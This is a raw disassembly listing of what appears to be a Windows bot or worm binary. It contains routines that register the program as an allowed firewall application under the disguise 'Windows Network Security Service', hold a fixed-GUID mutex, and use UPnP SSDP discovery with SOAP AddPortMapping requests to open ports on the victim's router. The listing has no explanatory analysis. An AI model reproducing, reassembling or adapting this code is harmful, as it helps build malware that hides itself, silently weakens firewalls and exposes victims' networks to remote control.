loc_4444E1:				; CODE XREF: DMN1:004444DCj
		push	esi
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_444427
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4444DE
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		push	ebx
		call	sub_4442BC
		pop	ecx
		mov	eax, [esp+10h]
		mov	esi, [eax+4]
		jmp	short loc_444522
; ---------------------------------------------------------------------------


loc_44450F:				; CODE XREF: DMN1:00444524j
		movzx	eax, word ptr [esi]
		push	eax
		push	dword ptr [esi+4]
		push	ebx
		call	sub_44436A
		add	esp, 0Ch
		mov	esi, [esi+8]


loc_444522:				; CODE XREF: DMN1:0044450Dj
		test	esi, esi
		jnz	short loc_44450F
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444529	proc near		; CODE XREF: sub_4445B7+98p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E24
		test	eax, eax
		jnz	short loc_44457B
		push	[ebp+arg_C]
		call	sub_449A31
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E28
		push	[ebp+var_4]
		call	dword_411E2C


loc_44457B:				; CODE XREF: sub_444529+29j
		mov	esp, ebp
		pop	ebp
		retn
sub_444529	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44457F	proc near		; CODE XREF: DMN1:0044469Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E30
		test	eax, eax
		jnz	short loc_4445B3
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E34
		push	[ebp+var_4]
		call	dword_411E2C


loc_4445B3:				; CODE XREF: sub_44457F+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_44457F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4445B7	proc near		; CODE XREF: sub_448AD1:loc_448D02p

var_20A		= byte ptr -20Ah
var_105		= byte ptr -105h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	104h
		lea	eax, [ebp+var_105]
		push	eax
		push	0
		call	dword_411CDC
		mov	ebx, eax
		mov	[ebp+ebx+var_105], 0
		cmp	[ebp+var_105], 0
		jz	short loc_444657
		lea	eax, [ebp+var_105]
		push	eax
		lea	eax, [ebp+var_20A]
		push	eax
		call	sub_449A51
		pop	ecx
		pop	ecx
		push	dword_4128A4
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		push	offset aEnabled	; ":*:Enabled:"
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		push	offset aWindowsNetwork ; "Windows Network Security Service"
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_105]
		push	eax
		lea	eax, [ebp+var_20A]
		push	eax
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_444529
		add	esp, 10h


loc_444657:				; CODE XREF: sub_4445B7+2Fj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4445B7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	ebx
		push	104h
		lea	eax, [ebp-105h]
		push	eax
		push	0
		call	dword_411CDC
		mov	ebx, eax
		mov	byte ptr [ebp+ebx-105h], 0
		cmp	byte ptr [ebp-105h], 0
		jz	short loc_4446A6
		lea	eax, [ebp-105h]
		push	eax
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_44457F
		add	esp, 0Ch


loc_4446A6:				; CODE XREF: DMN1:0044468Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4446AB	proc near		; CODE XREF: sub_4446FD+2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		cmp	dword_411008, 0
		jnz	short loc_4446F8
		push	14h
		push	40h
		call	dword_411CE0
		mov	ebx, eax
		push	1
		push	ebx
		call	dword_411E38
		push	0
		push	0
		push	1
		push	ebx
		call	dword_411E3C
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], 1
		mov	dword_411008, 1


loc_4446F8:				; CODE XREF: sub_4446AB+Ej
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4446AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4446FD	proc near		; CODE XREF: DMN1:00445FDFp
					; sub_448AD1+23Fp

arg_0		= word ptr  4
arg_4		= word ptr  8

		push	ebx
		push	esi
		call	sub_4446AB
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	100h
		push	0
		push	4
		push	offset dword_412928
		push	0FFFFFFFFh
		call	dword_411CE4
		mov	ebx, eax
		test	eax, eax
		jz	short loc_444767
		call	dword_411CE8
		cmp	eax, 0B7h
		jz	short loc_444765
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CEC
		mov	esi, eax
		test	esi, esi
		jz	short loc_444765
		mov	ax, [esp+8+arg_0]
		mov	[esi], ax
		mov	ax, [esp+8+arg_4]
		mov	[esi+2], ax
		push	esi
		call	dword_411CF0


loc_444765:				; CODE XREF: sub_4446FD+36j
					; sub_4446FD+4Ej
		mov	eax, ebx


loc_444767:				; CODE XREF: sub_4446FD+29j
		pop	esi
		pop	ebx
		retn
sub_4446FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_44476A	proc near		; CODE XREF: DMN1:00445FFBp

arg_0		= word ptr  4
arg_4		= word ptr  8

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	0
		push	0F001Fh
		call	dword_411CF4
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4447C3
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CEC
		mov	esi, eax
		test	esi, esi
		jz	short loc_4447BA
		mov	ax, [esp+0Ch+arg_0]
		mov	[esi], ax
		mov	ax, [esp+0Ch+arg_4]
		mov	[esi+2], ax
		push	esi
		call	dword_411CF0
		xor	edi, edi
		inc	edi


loc_4447BA:				; CODE XREF: sub_44476A+33j
		push	ebx
		call	dword_411CF8
		mov	eax, edi


loc_4447C3:				; CODE XREF: sub_44476A+1Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_44476A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4447C7	proc near		; CODE XREF: DMN1:00446D0Fp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	si, si
		push	offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}"
		push	0
		push	0F001Fh
		call	dword_411CF4
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4447EC
		mov	eax, 0FFFFh
		jmp	short loc_44482E
; ---------------------------------------------------------------------------


loc_4447EC:				; CODE XREF: sub_4447C7+1Cj
		push	20h
		push	0
		push	0
		push	0F001Fh
		push	ebx
		call	dword_411CEC
		mov	edi, eax
		test	edi, edi
		jz	short loc_444824
		mov	si, [edi]
		test	si, si
		jz	short loc_444819
		mov	edx, [esp+0Ch+arg_0]
		mov	ax, [edi+2]
		mov	[edx], ax
		jmp	short loc_44481D
; ---------------------------------------------------------------------------


loc_444819:				; CODE XREF: sub_4447C7+43j
		mov	si, 0FFFFh


loc_44481D:				; CODE XREF: sub_4447C7+50j
		push	edi
		call	dword_411CF0


loc_444824:				; CODE XREF: sub_4447C7+3Bj
		push	ebx
		call	dword_411CF8
		movzx	eax, si


loc_44482E:				; CODE XREF: sub_4447C7+23j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4447C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444832	proc near		; CODE XREF: sub_4448CA+2Dp
					; sub_444E23+23Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_449A31
		pop	ecx
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_449A31
		pop	ecx
		mov	ebx, eax
		jmp	short loc_444876
; ---------------------------------------------------------------------------


loc_444858:				; CODE XREF: sub_444832+46j
		push	ebx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	1
		push	400h
		call	dword_411CFC
		cmp	eax, 2
		jnz	short loc_444874
		mov	eax, esi
		jmp	short loc_44487C
; ---------------------------------------------------------------------------


loc_444874:				; CODE XREF: sub_444832+3Cj
		inc	esi
		dec	edi


loc_444876:				; CODE XREF: sub_444832+24j
		cmp	edi, ebx
		jge	short loc_444858
		xor	eax, eax


loc_44487C:				; CODE XREF: sub_444832+40j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_444832	endp


; =============== S U B	R O U T	I N E =======================================



sub_444883	proc near		; CODE XREF: sub_4448CA+1C4p
					; sub_444BB7+12Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		call	dword_411CC4
		lea	esi, [eax+7D0h]


loc_444895:				; CODE XREF: sub_444883+40j
		push	ebx
		call	sub_443863
		pop	ecx
		test	eax, eax
		jle	short loc_4448A5
		xor	eax, eax
		inc	eax
		jmp	short loc_4448C7
; ---------------------------------------------------------------------------


loc_4448A5:				; CODE XREF: sub_444883+1Bj
		push	offset a_	; "."
		call	sub_449641
		pop	ecx
		push	12Ch
		call	dword_411D00
		call	dword_411CC4
		cmp	eax, esi
		jb	short loc_444895
		xor	eax, eax


loc_4448C7:				; CODE XREF: sub_444883+20j
		pop	esi
		pop	ebx
		retn
sub_444883	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4448CA	proc near		; CODE XREF: sub_444E23+337p

var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= byte ptr -45Ch
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 468h
		push	ebx
		push	esi
		push	edi
		push	10h
		push	0
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		mov	[ebp+var_5C], 2
		xor	di, di
		push	offset aHttp	; "http://"
		push	[ebp+arg_0]
		call	sub_444832
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_44490C
		xor	eax, eax
		jmp	loc_444BB0
; ---------------------------------------------------------------------------


loc_44490B:				; CODE XREF: sub_4448CA+4Aj
		inc	ebx


loc_44490C:				; CODE XREF: sub_4448CA+38j
		mov	al, [ebx]
		test	al, al
		jz	short loc_444916
		cmp	al, 2Fh
		jnz	short loc_44490B


loc_444916:				; CODE XREF: sub_4448CA+46j
		jmp	short loc_444919
; ---------------------------------------------------------------------------


loc_444918:				; CODE XREF: sub_4448CA+57j
		inc	ebx


loc_444919:				; CODE XREF: sub_4448CA:loc_444916j
		mov	al, [ebx]
		test	al, al
		jz	short loc_444923
		cmp	al, 2Fh
		jz	short loc_444918


loc_444923:				; CODE XREF: sub_4448CA+53j
		xor	esi, esi
		jmp	short loc_44493B
; ---------------------------------------------------------------------------


loc_444927:				; CODE XREF: sub_4448CA+7Dj
		cmp	esi, 3Fh
		jb	short loc_444933
		xor	eax, eax
		jmp	loc_444BB0
; ---------------------------------------------------------------------------


loc_444933:				; CODE XREF: sub_4448CA+60j
		mov	al, [ebx]
		mov	[ebp+esi+var_40], al
		inc	esi
		inc	ebx


loc_44493B:				; CODE XREF: sub_4448CA+5Bj
		mov	al, [ebx]
		test	al, al
		jz	short loc_444949
		cmp	al, 3Ah
		jz	short loc_444949
		cmp	al, 2Fh
		jnz	short loc_444927


loc_444949:				; CODE XREF: sub_4448CA+75j
					; sub_4448CA+79j
		mov	[ebp+esi+var_40], 0
		cmp	byte ptr [ebx],	3Ah
		jz	short loc_44495A
		xor	eax, eax
		jmp	loc_444BB0
; ---------------------------------------------------------------------------


loc_44495A:				; CODE XREF: sub_4448CA+87j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_444981
		xor	eax, eax
		jmp	loc_444BB0
; ---------------------------------------------------------------------------


loc_444967:				; CODE XREF: sub_4448CA+C3j
		movzx	eax, di
		lea	eax, [eax+eax*4]
		add	eax, eax
		mov	di, ax
		movzx	eax, di
		movsx	edx, byte ptr [ebx]
		sub	edx, 30h
		add	eax, edx
		mov	di, ax
		inc	ebx


loc_444981:				; CODE XREF: sub_4448CA+94j
		mov	al, [ebx]
		test	al, al
		jz	short loc_44498F
		cmp	al, 30h
		jl	short loc_44498F
		cmp	al, 39h
		jle	short loc_444967


loc_44498F:				; CODE XREF: sub_4448CA+BBj
					; sub_4448CA+BFj
		cmp	di, 1
		jnb	short loc_44499D
		xor	eax, eax
		jmp	loc_444BB0
; ---------------------------------------------------------------------------


loc_44499C:				; CODE XREF: sub_4448CA+DBj
		inc	ebx


loc_44499D:				; CODE XREF: sub_4448CA+C9j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4449A7
		cmp	al, 2Fh
		jnz	short loc_44499C


loc_4449A7:				; CODE XREF: sub_4448CA+D7j
		cmp	byte ptr [ebx],	0
		jnz	short loc_4449B3
		xor	eax, eax
		jmp	loc_444BB0
; ---------------------------------------------------------------------------


loc_4449B3:				; CODE XREF: sub_4448CA+E0j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4490E9
		mov	[ebp+var_58], eax
		movzx	eax, di
		push	eax
		call	sub_4490B9
		mov	[ebp+var_5A], ax
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n"
		call	sub_449641
		add	esp, 0Ch
		push	6
		push	1
		push	2
		call	sub_44909B
		mov	[ebp+var_44], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4449FA
		and	[ebp+var_44], 0


loc_4449FA:				; CODE XREF: sub_4448CA+12Aj
		cmp	[ebp+var_44], 0
		jnz	short loc_444A07
		xor	eax, eax
		jmp	loc_444BB0
; ---------------------------------------------------------------------------


loc_444A07:				; CODE XREF: sub_4448CA+134j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4490E9
		movzx	edx, di
		push	edx
		push	eax
		push	[ebp+var_44]
		call	sub_443888
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_444A34
		push	[ebp+var_44]
		call	sub_4437E3
		pop	ecx
		xor	eax, eax
		jmp	loc_444BB0
; ---------------------------------------------------------------------------


loc_444A34:				; CODE XREF: sub_4448CA+158j
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	ebx
		push	offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"...
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_4496A1
		add	esp, 14h
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_449A31
		pop	ecx
		mov	[ebp+var_48], eax
		push	[ebp+var_48]
		lea	eax, [ebp+var_45C]
		push	eax
		push	[ebp+var_44]
		call	sub_443AA8
		add	esp, 0Ch
		cmp	eax, [ebp+var_48]
		jz	short loc_444A8B
		push	[ebp+var_44]
		call	sub_4437E3
		pop	ecx
		xor	eax, eax
		jmp	loc_444BB0
; ---------------------------------------------------------------------------


loc_444A8B:				; CODE XREF: sub_4448CA+1AFj
		push	[ebp+var_44]
		call	sub_444883
		pop	ecx
		push	10000h
		call	sub_443369
		pop	ecx
		mov	[ebp+var_4C], eax
		push	0FFFFh
		push	[ebp+var_4C]
		push	[ebp+var_44]
		call	sub_443A34
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		test	eax, eax
		jnz	short loc_444AF3
		push	[ebp+var_44]
		call	sub_443863
		pop	ecx
		mov	[ebp+var_468], eax
		cmp	eax, 0FFFFh
		jle	short loc_444ADC
		mov	[ebp+var_468], 0FFFFh


loc_444ADC:				; CODE XREF: sub_4448CA+206j
		push	[ebp+var_468]
		push	[ebp+var_4C]
		push	[ebp+var_44]
		call	sub_4439FD
		add	esp, 0Ch
		mov	[ebp+var_48], eax


loc_444AF3:				; CODE XREF: sub_4448CA+1F0j
		push	[ebp+var_48]
		movzx	eax, di
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"...
		call	sub_449641
		add	esp, 10h
		cmp	[ebp+var_48], 1
		jge	short loc_444B2A
		push	[ebp+var_4C]
		call	sub_443397
		pop	ecx
		push	[ebp+var_44]
		call	sub_4437E3
		pop	ecx
		xor	eax, eax
		jmp	loc_444BB0
; ---------------------------------------------------------------------------


loc_444B2A:				; CODE XREF: sub_4448CA+245j
		push	offset asc_40F612 ; "\n"
		push	[ebp+var_4C]
		call	sub_449AA1
		pop	ecx
		pop	ecx
		mov	[ebp+var_460], eax
		test	eax, eax
		jnz	short loc_444B59
		push	[ebp+var_4C]
		call	sub_443397
		pop	ecx
		push	[ebp+var_44]
		call	sub_4437E3
		pop	ecx
		xor	eax, eax
		jmp	short loc_444BB0
; ---------------------------------------------------------------------------


loc_444B59:				; CODE XREF: sub_4448CA+277j
		push	offset a200	; "200"
		push	[ebp+var_4C]
		call	sub_449AA1
		pop	ecx
		pop	ecx
		mov	[ebp+var_464], eax
		test	eax, eax
		jz	short loc_444B7A
		cmp	eax, [ebp+var_460]
		jbe	short loc_444B90


loc_444B7A:				; CODE XREF: sub_4448CA+2A6j
		push	[ebp+var_4C]
		call	sub_443397
		pop	ecx
		push	[ebp+var_44]
		call	sub_4437E3
		pop	ecx
		xor	eax, eax
		jmp	short loc_444BB0
; ---------------------------------------------------------------------------


loc_444B90:				; CODE XREF: sub_4448CA+2AEj
		push	[ebp+var_44]
		call	sub_4437E3
		pop	ecx
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_449A51
		pop	ecx
		pop	ecx
		mov	edx, [ebp+arg_8]
		mov	[edx], di
		mov	eax, [ebp+var_4C]


loc_444BB0:				; CODE XREF: sub_4448CA+3Cj
					; sub_4448CA+64j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4448CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444BB7	proc near		; CODE XREF: sub_444E23+50Fp
					; sub_444E23+53Dp

var_2014	= dword	ptr -2014h
var_2010	= dword	ptr -2010h
var_200C	= dword	ptr -200Ch
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= word ptr  18h
arg_14		= word ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2014h
		call	sub_449B11
		push	ebx
		push	esi
		push	edi
		movzx	eax, [ebp+arg_10]
		push	eax
		movzx	eax, [ebp+arg_14]
		push	eax
		push	offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"...
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4496A1
		add	esp, 10h
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_449A31
		pop	ecx
		mov	[ebp+var_200C],	eax
		cmp	[ebp+arg_0], 0
		jz	short loc_444C25
		push	[ebp+var_200C]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"...
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_4496A1
		add	esp, 18h
		jmp	short loc_444C4A
; ---------------------------------------------------------------------------


loc_444C25:				; CODE XREF: sub_444BB7+45j
		push	[ebp+var_200C]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		push	offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"...
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_4496A1
		add	esp, 18h


loc_444C4A:				; CODE XREF: sub_444BB7+6Cj
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_449A71
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n"
		call	sub_449641
		add	esp, 0Ch
		call	sub_44367A
		mov	edi, eax
		test	eax, eax
		jz	loc_444E1C
		push	[ebp+arg_4]
		call	sub_4490E9
		movzx	edx, [ebp+arg_8]
		push	edx
		push	eax
		push	edi
		call	sub_443888
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_444CAC
		push	edi
		call	sub_4437E3
		pop	ecx
		xor	eax, eax
		jmp	loc_444E1C
; ---------------------------------------------------------------------------


loc_444CAC:				; CODE XREF: sub_444BB7+E5j
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_449A31
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_1008]
		push	eax
		push	edi
		call	sub_443AA8
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jz	short loc_444CE2
		push	edi
		call	sub_4437E3
		pop	ecx
		xor	eax, eax
		jmp	loc_444E1C
; ---------------------------------------------------------------------------


loc_444CE2:				; CODE XREF: sub_444BB7+11Bj
		push	edi
		call	sub_444883
		pop	ecx
		push	10000h
		call	sub_443369
		pop	ecx
		mov	[ebp+var_8], eax
		push	0FFFFh
		push	[ebp+var_8]
		push	edi
		call	sub_443A34
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_444D42
		push	edi
		call	sub_443863
		pop	ecx
		mov	[ebp+var_2014],	eax
		cmp	eax, 0FFFFh
		jle	short loc_444D2D
		mov	[ebp+var_2014],	0FFFFh


loc_444D2D:				; CODE XREF: sub_444BB7+16Aj
		push	[ebp+var_2014]
		push	[ebp+var_8]
		push	edi
		call	sub_4439FD
		add	esp, 0Ch
		mov	[ebp+var_4], eax


loc_444D42:				; CODE XREF: sub_444BB7+156j
		push	[ebp+var_4]
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "...
		call	sub_449641
		add	esp, 10h
		cmp	[ebp+var_4], 1
		jge	short loc_444D77
		push	[ebp+var_8]
		call	sub_443397
		pop	ecx
		push	edi
		call	sub_4437E3
		pop	ecx
		xor	eax, eax
		jmp	loc_444E1C
; ---------------------------------------------------------------------------


loc_444D77:				; CODE XREF: sub_444BB7+1A7j
		push	offset asc_40F612 ; "\n"
		push	[ebp+var_8]
		call	sub_449AA1
		pop	ecx
		pop	ecx
		mov	[ebp+var_2010],	eax
		test	eax, eax
		jnz	short loc_444DA4
		push	[ebp+var_8]
		call	sub_443397
		pop	ecx
		push	edi
		call	sub_4437E3
		pop	ecx
		xor	eax, eax
		jmp	short loc_444E1C
; ---------------------------------------------------------------------------


loc_444DA4:				; CODE XREF: sub_444BB7+1D7j
		mov	ebx, [ebp+var_8]
		jmp	short loc_444DAA
; ---------------------------------------------------------------------------


loc_444DA9:				; CODE XREF: sub_444BB7+1FBj
		inc	ebx


loc_444DAA:				; CODE XREF: sub_444BB7+1F0j
		mov	al, [ebx]
		test	al, al
		jz	short loc_444DB4
		cmp	al, 20h
		jnz	short loc_444DA9


loc_444DB4:				; CODE XREF: sub_444BB7+1F7j
		jmp	short loc_444DB7
; ---------------------------------------------------------------------------


loc_444DB6:				; CODE XREF: sub_444BB7+208j
		inc	ebx


loc_444DB7:				; CODE XREF: sub_444BB7:loc_444DB4j
		mov	al, [ebx]
		test	al, al
		jz	short loc_444DC1
		cmp	al, 20h
		jz	short loc_444DB6


loc_444DC1:				; CODE XREF: sub_444BB7+204j
		xor	esi, esi
		jmp	short loc_444DD5
; ---------------------------------------------------------------------------


loc_444DC5:				; CODE XREF: sub_444BB7+22Aj
		lea	esi, [esi+esi*4]
		add	esi, esi
		movsx	eax, byte ptr [ebx]
		sub	eax, 30h
		add	esi, eax
		inc	ebx
		jmp	short loc_444DE3
; ---------------------------------------------------------------------------


loc_444DD5:				; CODE XREF: sub_444BB7+20Cj
		mov	al, [ebx]
		test	al, al
		jz	short loc_444DE3
		cmp	al, 30h
		jl	short loc_444DE3
		cmp	al, 39h
		jle	short loc_444DC5


loc_444DE3:				; CODE XREF: sub_444BB7+21Cj
					; sub_444BB7+222j ...
		push	esi
		movzx	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."...
		call	sub_449641
		add	esp, 10h
		cmp	esi, 2
		jz	short loc_444E12
		push	[ebp+var_8]
		call	sub_443397
		pop	ecx
		push	edi
		call	sub_4437E3
		pop	ecx
		xor	eax, eax
		jmp	short loc_444E1C
; ---------------------------------------------------------------------------


loc_444E12:				; CODE XREF: sub_444BB7+245j
		push	edi
		call	sub_4437E3
		pop	ecx
		xor	eax, eax
		inc	eax


loc_444E1C:				; CODE XREF: sub_444BB7+C6j
					; sub_444BB7+F0j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_444BB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444E23	proc near		; CODE XREF: DMN1:004458F7p
					; DMN1:00446E41p

var_18A0	= dword	ptr -18A0h
var_189C	= byte ptr -189Ch
var_188C	= dword	ptr -188Ch
var_1888	= dword	ptr -1888h
var_1884	= dword	ptr -1884h
var_187E	= byte ptr -187Eh
var_183E	= word ptr -183Eh
var_183C	= dword	ptr -183Ch
var_1838	= dword	ptr -1838h
var_1834	= dword	ptr -1834h
var_1830	= dword	ptr -1830h
var_182C	= dword	ptr -182Ch
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_181C	= word ptr -181Ch
var_181A	= word ptr -181Ah
var_1818	= dword	ptr -1818h
var_1809	= byte ptr -1809h
var_1409	= byte ptr -1409h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 18A0h
		call	sub_449B11
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1820],	3E8h
		cmp	[ebp+arg_0], 0
		jnz	short loc_444E4C
		mov	ax, [ebp+arg_4]
		mov	[ebp+arg_0], ax


loc_444E4C:				; CODE XREF: sub_444E23+1Fj
		push	10h
		push	0
		lea	eax, [ebp+var_181C]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		mov	[ebp+var_181C],	2
		push	offset a239_255_255_25 ; "239.255.255.250"
		call	sub_4490E9
		mov	[ebp+var_1818],	eax
		push	76Ch
		call	sub_4490B9
		mov	[ebp+var_181A],	ax
		mov	[ebp+var_404], 1
		push	11h
		push	2
		push	2
		call	sub_44909B
		mov	[ebp+var_408], eax
		and	[ebp+var_1828],	0
		mov	[ebp+var_1824],	1
		push	offset a239_255_255_25 ; "239.255.255.250"
		call	sub_4490E9
		mov	[ebp+var_1828],	eax
		push	8
		lea	eax, [ebp+var_1828]
		push	eax
		push	5
		push	0
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4490A1
		test	eax, eax
		jge	short loc_444EED
		push	offset aShit	; "shit!\n"
		call	sub_449641
		pop	ecx


loc_444EED:				; CODE XREF: sub_444E23+BDj
		lea	eax, [ebp+var_181C]
		mov	[ebp+var_182C],	eax
		push	10h
		push	[ebp+var_182C]
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4490C5
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4453A3
		push	offset aXbind___ ; "xbind...\n"
		call	sub_449641
		pop	ecx
		jmp	loc_4453A3
